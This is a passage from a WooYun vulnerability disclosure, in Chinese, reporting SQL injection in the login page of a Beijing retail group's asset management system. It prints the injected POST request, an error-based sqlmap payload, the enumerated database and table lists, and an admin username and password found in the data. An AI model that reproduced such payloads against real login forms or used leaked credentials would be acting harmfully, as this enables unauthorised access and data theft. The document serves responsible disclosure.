当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0162882

漏洞标题：中国500强之北京物美商业集团股份有限公司AMS-资产管理系统,存在注入,泄露全站数据/可进管理后台等

相关厂商：北京物美商业集团股份有限公司

漏洞作者： 逆流冰河

提交时间：2015-12-22 01:30

修复时间：2016-02-07 18:35

公开时间：2016-02-07 18:35

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-22： 细节已通知厂商并且等待厂商处理中
2015-12-25： 厂商已经确认，细节仅向厂商公开
2016-01-04： 细节向核心白帽子及相关领域专家公开
2016-01-14： 细节向普通白帽子公开
2016-01-24： 细节向实习白帽子公开
2016-02-07： 细节向公众公开

简要描述：

500强系列

详细说明：

1,在登录的地方就存在注入

POST http://**.**.**.**/login.aspx HTTP/1.1
Host: **.**.**.**
Connection: keep-alive
Content-Length: 216
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=mrncdv55zet2vp45wl4rcwfk
__VIEWSTATE=%2FwEPDwUKMTk4MTYwMTQzMGRkmYeecnQKABKsubMfz%2B5CBaJdrn4%3D&__EVENTVALIDATION=%2FwEWBALRhOO6CwLB2qywCwKd%2B7qdDgKBzoa7BuhX6Hvmtrc5DtyM5HebGRpTUhSz&txtUsers=admin*&txtPwd=admin&btnLand=+%E7%99%BB++%E9%99%86+


2,注入信息
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKMTk4MTYwMTQzMGRkmYeecnQKABKsubMfz+5CBaJdrn4=&__EVENTVALIDATION=/wEWBALRhOO6CwLB2qywCwKd+7qdDgKBzoa7BuhX6Hvmtrc5DtyM5HebGRpTUhSz&txtUsers=admin') AND 4101=CONVERT(INT,(SELECT CHAR(113) CHAR(98) CHAR(118) CHAR(112) CHAR(113) (SELECT (CASE WHEN (4101=4101) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(113) CHAR(122) CHAR(122) CHAR(106) CHAR(113))) AND ('cGht'='cGht&txtPwd=admin&btnLand= %E7%99%BB %E9%99%86
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKMTk4MTYwMTQzMGRkmYeecnQKABKsubMfz+5CBaJdrn4=&__EVENTVALIDATION=/wEWBALRhOO6CwLB2qywCwKd+7qdDgKBzoa7BuhX6Hvmtrc5DtyM5HebGRpTUhSz&txtUsers=admin') AND 4101=CONVERT(INT,(SELECT CHAR(113) CHAR(98) CHAR(118) CHAR(112) CHAR(113) (SELECT (CASE WHEN (4101=4101) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(113) CHAR(122) CHAR(122) CHAR(106) CHAR(113))) AND ('cGht'='cGht&txtPwd=admin&btnLand= %E7%99%BB %E9%99%86
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [8]:
[*] AMS
[*] AMS_Temp
[*] AMS_Test
[*] master
[*] model
[*] msdb
[*] SYSMON
[*] tempdb
3,表很多
Database: AMS
+-----------------------------------------+---------+
| Table | Entries |
+-----------------------------------------+---------+
| dbo.AssetPeriodDepre | 6252254 |
| dbo.AssetPeriodDepreLS | 5737597 |
| dbo.ls_Asset_cf | 3856023 |
| dbo.ls_lycs | 1636706 |
| dbo.ls_AssetPeriodDepreLS0901 | 1537537 |
| dbo.SysChangeLog | 646101 |
| dbo.AssetDeptMonthSumReport | 498010 |
| dbo.AssetDocumentItems | 403689 |
| dbo.Asset | 341497 |
| dbo.AssetSumReport_MiddleTable_Bak | 206379 |
| dbo.AssetPeriodDepreLS_bak121102 | 198512 |
| dbo.AssetInventoryItems | 161087 |
| dbo.Asset_bak20110331 | 143679 |
| dbo.ls_AssetDepr_Syn | 108639 |
| dbo.ASSET_bak20100921 | 99143 |
| dbo.ASSET_bak20100914 | 99109 |
| dbo.ASSET_bak20100907 | 99100 |
| dbo.ASSET_bak20100831 | 99003 |
| dbo.ASSET_bak20100901 | 99003 |
| dbo.ASSET_bak20101014 | 92305 |
| dbo.ls_asset_qzh1 | 73097 |
| dbo.AssetRetirementItems | 61102 |
| dbo.la_AssetDocumentItems_tianjin_hb | 44638 |
| dbo.ls_AssetDocumentItems_tianjin_hb | 44638 |
| dbo.la_Asset_tianjin_hb | 44600 |
| dbo.AssetPurchaseOrderItems | 42071 |
| dbo.AssetSTOItems | 33779 |
| dbo.ls_asset_batch2 | 31711 |
| dbo.RoleVsMenu | 26717 |
| dbo.ASSET_bak2010073001 | 24230 |
| dbo.AssetPurchaseOrder | 23175 |
| dbo.AssetCategoryMonthSumReport | 19092 |
| dbo.BackupDBToRmtNew_Log_Bak | 16987 |
| dbo.InvoiceItems | 15954 |
| dbo.AssetDeptMonthSumReport_Bak | 14937 |
| dbo.ls_asset_hd | 14759 |
| dbo.Invoice | 12702 |
| dbo.ls_Asset_beijing_hb_OK | 11906 |
| dbo.SpecType | 11214 |
| dbo.AssetRetirement | 11027 |
| dbo.DepositaryUsers | 9221 |
| dbo.SupplierVsSpec | 8962 |
| dbo.SupSpecPrice | 8551 |
| dbo.ls_Asset_BackUp | 8187 |
| dbo.InventRecordVSAssCatg | 7352 |
| dbo.ls_asset_batch4_err | 6867 |
| dbo.AssetSTO | 6672 |
| dbo.SpecType_bak20110331 | 6622 |
| dbo.spectype_bak20110304 | 6502 |
| dbo.SupplierVsSpec_bak20110331 | 4386 |
| dbo.ls_SupSpecPrice_0612 | 4271 |
| dbo.ls_asset_qzh2 | 3837 |
| dbo.SupSpecPrice_bak20110331 | 3750 |
| dbo.Depositary | 3694 |
| dbo.AssetPurchaseOrderItems_bak20110331 | 3027 |
| dbo.AssetSD | 2984 |
| dbo.RoleVsAuth | 2921 |
| dbo.UserVsRoles | 2846 |
| dbo.AssetPurchaseOrderItems_back110304 | 2728 |
| dbo.Users | 2105 |
| dbo.Roles | 1963 |
| dbo.BackupDBToRmt_Log | 1927 |
| dbo.ConcenAssetPurchOrderItems | 1674 |
| ams.ls_CreateAsset_Wangjh | 1444 |
| dbo.BackupDBToRmtNew_Log | 1189 |
| dbo.Brand | 1164 |
| dbo.ls_asset_bh | 1031 |
| dbo.Department | 967 |
| dbo.CostCenter | 941 |
| dbo.ls_asset_qzh4 | 899 |
| dbo.ls_DeptCode_MyID | 774 |
| dbo.brand_back110304 | 735 |
| dbo.Department_Bak20131016 | 681 |
| dbo.Department_Bak20130530 | 639 |
| dbo.ProfitCenter | 628 |
| dbo.Department_LSL | 595 |
| dbo.InventDiffCause | 575 |
| dbo.ls_Department_Backup | 575 |
| dbo.ls_CostCenter_Backup | 561 |
| dbo.ls_TransOrgNameBSID_Organization_WM | 543 |
| dbo.ls_BlockQueryText_Log | 480 |
| dbo.DeptVSBankAccount | 466 |
| dbo.ls_DeptVSBankAccount | 466 |
| dbo.ls_ProfitCenter_Backup | 423 |
| dbo.ls_BlockQueryText_Bak | 421 |
| dbo.ls_adi | 398 |
| dbo.ls_asset | 398 |
| dbo.ls_asset_nx | 398 |
| dbo.ls_log | 398 |
| dbo.AccDocVsBus | 370 |
| dbo.ls_ASSETsap1_qzh | 345 |
| dbo.SupplierAMSVsSAP | 340 |
| dbo.Supplier | 312 |
| dbo.AssetCategory | 294 |
| dbo.Table_2 | 251 |
| dbo.ls_SupplierPayment | 235 |
| dbo.ASSET_not_20100831 | 209 |
| dbo.ls_assetsap_cj | 186 |
| dbo.InventRecordVSDept | 185 |
| dbo.AssetInventory | 184 |
| dbo.ls_AssetCodeDelet_wangjh | 156 |
| dbo.ConcenAssetPurchaseOrder | 154 |
| dbo.ls_deleteAsset_hd | 144 |
| dbo.ls_RoleVsMenus | 138 |
| dbo.ls_asset_qzh3 | 137 |
| dbo.ls_UpdateName_Wangjh | 121 |
| dbo.AMSMaintenance | 108 |
| dbo.Table_1 | 107 |
| dbo.TempAS | 101 |
| dbo.ls_DeleteAsset | 93 |
| dbo.tempa | 93 |
| dbo.Company | 91 |
| dbo.Sheet2$ | 84 |
| dbo.spectype_repeating_delete | 80 |
| dbo.AssetInventoryRecord | 76 |
| dbo.ls_UpdateSpec_wangjh_0111 | 73 |
| dbo.Menus | 65 |
| dbo.ls_temp | 56 |
| dbo.ls_Company_0612 | 55 |
| dbo.ls_DepositaryUsers | 55 |
| dbo.[ls_SupplierPayment-1] | 53 |
| dbo.ls_SpecType | 52 |
| dbo.PaymentWayItem | 44 |
| dbo.ls_Asset_CFDY | 34 |
| dbo.ls_PaymentWayItem | 33 |
| dbo.ls_BlockQueryText_Cre2 | 32 |
| dbo.BusinessType | 27 |
| dbo.PaymentWay | 25 |
| dbo.ls_RoleVsAuth | 22 |
| dbo.ls_Depositary | 20 |
| dbo.ls_Asset_cf_hd | 19 |
| dbo.SysNumberRange | 19 |
| dbo.AssetPurchaseOrderItems_LSL | 18 |
| dbo.ls_BlockQueryText_Cre1 | 18 |
| dbo.ls_AssetDocumentItems_BackUp | 17 |
| dbo.ls_AssetMapping | 17 |
| dbo.ls_PaymentWay | 17 |
| dbo.ls_asset_cl | 14 |
| dbo.ls_ASSETsap1_NotEq | 14 |
| dbo.ls_AssetSTO_PZ | 12 |
| dbo.ls_BackupDBToRmt_Log | 12 |
| dbo.AssetInventoryPlan | 10 |
| dbo.ls_BackupDBToRmt_BackPath | 9 |
| dbo.ls_BackupDBToRmt_Ping | 8 |
| dbo.AssetSTOItems_LS | 7 |
| dbo.Asset_LS | 6 |
| dbo.ls_Area_0612 | 6 |
| dbo.AssetSTO_LS | 5 |
| dbo.DiffCause | 5 |
| dbo.ls_BackupDBToRmt_NetUse | 5 |
| dbo.AccountType | 4 |
| dbo.Area | 4 |
| dbo.ASSET_not_20100901 | 4 |
| dbo.AssetPurchaseOrder_LSL | 3 |
| dbo.ls_BackupDBToRmt_BackDB | 3 |
| dbo.Tax | 3 |
| dbo.Authfiled | 2 |
| dbo.AuthObjects | 2 |
| dbo.ls_asset_lsbf | 2 |
| dbo.ls_BlockQueryText_mRowNum | 2 |
| dbo.Asset_Backup_Wangjh | 1 |
| dbo.Depreciation | 1 |
| dbo.ls_Asset_insert | 1 |
| dbo.ls_AssetDocumentItems_Cancel | 1 |
| dbo.ls_AssetDocumentItems_insert | 1 |
| dbo.ls_BackupDBToRmt_Para | 1 |
| dbo.ls_BackupDBToRmt_TimeOut | 1 |
| dbo.ls_BlockQueryText_Para | 1 |
| dbo.ls_CreateAsset_Wangjh | 1 |
+-----------------------------------------+---------+
4,用户表有
| dbo.Users | 2105 |
5,随便看几个
admin amsadmin 这是用户名密码
6,登录地址:http://**.**.**.**/
7,进去看看,涉及的资产了,我就不继续了

wumei1111.jpg


漏洞证明：

Fix

修复方案：

拒绝小厂商

版权声明：转载请注明来源 逆流冰河@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-12-25 19:24

厂商回复：

CNVD确认所述漏洞情况，暂未建立与网站管理单位的直接处置渠道，待认领。

最新状态：

暂无

漏洞评价：

评价